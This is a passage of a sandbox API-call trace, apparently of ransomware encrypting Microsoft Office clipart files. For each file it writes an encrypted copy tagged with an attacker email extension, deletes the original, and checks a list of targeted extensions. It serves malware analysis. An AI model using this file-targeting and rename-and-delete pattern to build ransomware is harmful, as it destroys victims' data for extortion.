lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0171.554] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.554] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241041.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0241041.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0171.560] GetLastError () returned 0x0 [0171.560] ReadFile (in: hFile=0x378, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x926, lpOverlapped=0x0) returned 1 [0171.561] WriteFile (in: hFile=0x3ac, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x930, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x930, lpOverlapped=0x0) returned 1 [0171.562] ReadFile (in: hFile=0x378, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0171.562] WriteFile (in: hFile=0x3ac, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0171.562] SetEndOfFile (hFile=0x3ac) returned 1 [0171.564] CloseHandle (hObject=0x3ac) returned 1 [0171.565] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.565] SetEndOfFile (hFile=0x378) returned 1 [0171.571] CloseHandle (hObject=0x378) returned 1 [0171.572] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241041.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0171.572] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241041.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0241041.wmf")) returned 1 [0171.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241041.WMF") returned 68 [0171.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241041.WMF") returned 68 [0171.574] lstrlenW (lpString=".doc") returned 4 [0171.574] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.574] lstrlenW (lpString=".docx") returned 5 [0171.574] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0171.574] lstrlenW (lpString=".pdf") returned 4 [0171.574] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.574] lstrlenW (lpString=".xls") returned 4 [0171.574] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.574] lstrlenW (lpString=".xlsx") returned 5 [0171.574] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0171.574] lstrlenW (lpString=".ppt") returned 4 [0171.574] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241041.WMF") returned 68 [0171.574] lstrlenW (lpString=".zip") returned 4 [0171.574] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.574] lstrlenW (lpString=".rar") returned 4 [0171.574] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.574] lstrlenW (lpString=".bz2") returned 4 [0171.574] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.574] lstrlenW (lpString=".7z") returned 3 [0171.574] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241041.WMF") returned 68 [0171.574] lstrlenW (lpString=".dbf") returned 4 [0171.575] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241041.WMF") returned 68 [0171.575] lstrlenW (lpString=".1cd") returned 4 [0171.575] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241041.WMF") returned 68 [0171.575] lstrlenW (lpString=".jpg") returned 4 [0171.575] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241041.WMF") returned 68 [0171.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241041.WMF") returned 68 [0171.575] lstrlenW (lpString=".doc") returned 4 [0171.575] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.575] lstrlenW (lpString=".docx") returned 5 [0171.575] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0171.575] lstrlenW (lpString=".pdf") returned 4 [0171.575] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.575] lstrlenW (lpString=".xls") returned 4 [0171.575] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.575] lstrlenW (lpString=".xlsx") returned 5 [0171.575] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0171.575] lstrlenW (lpString=".ppt") returned 4 [0171.575] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241041.WMF") returned 68 [0171.575] lstrlenW (lpString=".zip") returned 4 [0171.575] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.575] lstrlenW (lpString=".rar") returned 4 [0171.575] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.575] lstrlenW (lpString=".bz2") returned 4 [0171.575] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.575] lstrlenW (lpString=".7z") returned 3 [0171.575] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241041.WMF") returned 68 [0171.575] lstrlenW (lpString=".dbf") returned 4 [0171.575] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241041.WMF") returned 68 [0171.575] lstrlenW (lpString=".1cd") returned 4 [0171.575] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241041.WMF") returned 68 [0171.575] lstrlenW (lpString=".jpg") returned 4 [0171.575] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.576] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0171.576] lstrlenW (lpString="J0250504.WMF") returned 12 [0171.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0250504.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0250504.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0171.579] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=31032) returned 1 [0171.579] CloseHandle (hObject=0x368) returned 1 [0171.579] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0250504.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0250504.wmf")) returned 0x220 [0171.585] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0250504.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0250504.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0171.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0250504.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0250504.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0171.589] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.590] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.590] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0250504.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0250504.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0171.595] GetLastError () returned 0x0 [0171.595] ReadFile (in: hFile=0x330, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x7938, lpOverlapped=0x0) returned 1 [0171.597] WriteFile (in: hFile=0x378, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x7940, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x7940, lpOverlapped=0x0) returned 1 [0171.598] ReadFile (in: hFile=0x330, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0171.598] WriteFile (in: hFile=0x378, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0171.599] SetEndOfFile (hFile=0x378) returned 1 [0171.607] CloseHandle (hObject=0x378) returned 1 [0171.610] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.610] SetEndOfFile (hFile=0x330) returned 1 [0171.614] CloseHandle (hObject=0x330) returned 1 [0171.617] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0250504.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0171.617] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0250504.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0250504.wmf")) returned 1 [0171.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0250504.WMF") returned 68 [0171.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0250504.WMF") returned 68 [0171.618] lstrlenW (lpString=".doc") returned 4 [0171.618] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.618] lstrlenW (lpString=".docx") returned 5 [0171.618] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0171.618] lstrlenW (lpString=".pdf") returned 4 [0171.618] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.618] lstrlenW (lpString=".xls") returned 4 [0171.618] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.618] lstrlenW (lpString=".xlsx") returned 5 [0171.618] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0171.618] lstrlenW (lpString=".ppt") returned 4 [0171.618] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0250504.WMF") returned 68 [0171.618] lstrlenW (lpString=".zip") returned 4 [0171.618] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.618] lstrlenW (lpString=".rar") returned 4 [0171.618] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.618] lstrlenW (lpString=".bz2") returned 4 [0171.618] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.618] lstrlenW (lpString=".7z") returned 3 [0171.619] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0250504.WMF") returned 68 [0171.619] lstrlenW (lpString=".dbf") returned 4 [0171.619] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0250504.WMF") returned 68 [0171.619] lstrlenW (lpString=".1cd") returned 4 [0171.619] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0250504.WMF") returned 68 [0171.619] lstrlenW (lpString=".jpg") returned 4 [0171.619] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0250504.WMF") returned 68 [0171.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0250504.WMF") returned 68 [0171.619] lstrlenW (lpString=".doc") returned 4 [0171.619] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.619] lstrlenW (lpString=".docx") returned 5 [0171.619] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0171.619] lstrlenW (lpString=".pdf") returned 4 [0171.619] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.619] lstrlenW (lpString=".xls") returned 4 [0171.619] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.619] lstrlenW (lpString=".xlsx") returned 5 [0171.619] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0171.619] lstrlenW (lpString=".ppt") returned 4 [0171.619] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0250504.WMF") returned 68 [0171.619] lstrlenW (lpString=".zip") returned 4 [0171.619] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.619] lstrlenW (lpString=".rar") returned 4 [0171.619] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.619] lstrlenW (lpString=".bz2") returned 4 [0171.619] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.619] lstrlenW (lpString=".7z") returned 3 [0171.619] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0250504.WMF") returned 68 [0171.619] lstrlenW (lpString=".dbf") returned 4 [0171.619] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0250504.WMF") returned 68 [0171.619] lstrlenW (lpString=".1cd") returned 4 [0171.619] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0250504.WMF") returned 68 [0171.619] lstrlenW (lpString=".jpg") returned 4 [0171.619] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.619] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0171.619] lstrlenW (lpString="J0278702.WMF") returned 12 [0171.619] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0278702.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0278702.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0171.626] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=3946) returned 1 [0171.626] CloseHandle (hObject=0x38c) returned 1 [0171.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0278702.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0278702.wmf")) returned 0x220 [0171.633] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0278702.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0278702.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0171.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0278702.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0278702.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0171.640] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.640] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.640] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0278702.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0278702.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0171.652] GetLastError () returned 0x0 [0171.652] ReadFile (in: hFile=0x2ec, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0xf6a, lpOverlapped=0x0) returned 1 [0171.654] WriteFile (in: hFile=0x394, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xf70, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xf70, lpOverlapped=0x0) returned 1 [0171.654] ReadFile (in: hFile=0x2ec, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0171.655] WriteFile (in: hFile=0x394, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0171.655] SetEndOfFile (hFile=0x394) returned 1 [0171.657] CloseHandle (hObject=0x394) returned 1 [0171.658] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.658] SetEndOfFile (hFile=0x2ec) returned 1 [0171.664] CloseHandle (hObject=0x2ec) returned 1 [0171.666] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0278702.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0171.667] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0278702.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0278702.wmf")) returned 1 [0171.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0278702.WMF") returned 68 [0171.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0278702.WMF") returned 68 [0171.690] lstrlenW (lpString=".doc") returned 4 [0171.690] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.690] lstrlenW (lpString=".docx") returned 5 [0171.690] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0171.690] lstrlenW (lpString=".pdf") returned 4 [0171.690] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.690] lstrlenW (lpString=".xls") returned 4 [0171.690] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.690] lstrlenW (lpString=".xlsx") returned 5 [0171.690] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0171.690] lstrlenW (lpString=".ppt") returned 4 [0171.690] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0278702.WMF") returned 68 [0171.690] lstrlenW (lpString=".zip") returned 4 [0171.690] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.690] lstrlenW (lpString=".rar") returned 4 [0171.690] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.690] lstrlenW (lpString=".bz2") returned 4 [0171.690] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.690] lstrlenW (lpString=".7z") returned 3 [0171.690] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0278702.WMF") returned 68 [0171.690] lstrlenW (lpString=".dbf") returned 4 [0171.690] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0278702.WMF") returned 68 [0171.690] lstrlenW (lpString=".1cd") returned 4 [0171.690] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0278702.WMF") returned 68 [0171.690] lstrlenW (lpString=".jpg") returned 4 [0171.690] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0278702.WMF") returned 68 [0171.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0278702.WMF") returned 68 [0171.690] lstrlenW (lpString=".doc") returned 4 [0171.690] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.690] lstrlenW (lpString=".docx") returned 5 [0171.690] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0171.690] lstrlenW (lpString=".pdf") returned 4 [0171.690] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.690] lstrlenW (lpString=".xls") returned 4 [0171.690] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.690] lstrlenW (lpString=".xlsx") returned 5 [0171.690] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0171.690] lstrlenW (lpString=".ppt") returned 4 [0171.690] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0278702.WMF") returned 68 [0171.690] lstrlenW (lpString=".zip") returned 4 [0171.690] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.690] lstrlenW (lpString=".rar") returned 4 [0171.691] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.691] lstrlenW (lpString=".bz2") returned 4 [0171.691] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.691] lstrlenW (lpString=".7z") returned 3 [0171.691] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0278702.WMF") returned 68 [0171.691] lstrlenW (lpString=".dbf") returned 4 [0171.691] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0278702.WMF") returned 68 [0171.691] lstrlenW (lpString=".1cd") returned 4 [0171.691] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0278702.WMF") returned 68 [0171.691] lstrlenW (lpString=".jpg") returned 4 [0171.691] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.691] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0171.691] lstrlenW (lpString="J0281630.WMF") returned 12 [0171.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281630.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0281630.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0171.697] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=12764) returned 1 [0171.697] CloseHandle (hObject=0x394) returned 1 [0171.697] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281630.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0281630.wmf")) returned 0x220 [0171.699] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281630.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0281630.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0171.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281630.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0281630.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0171.710] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.710] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281630.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program 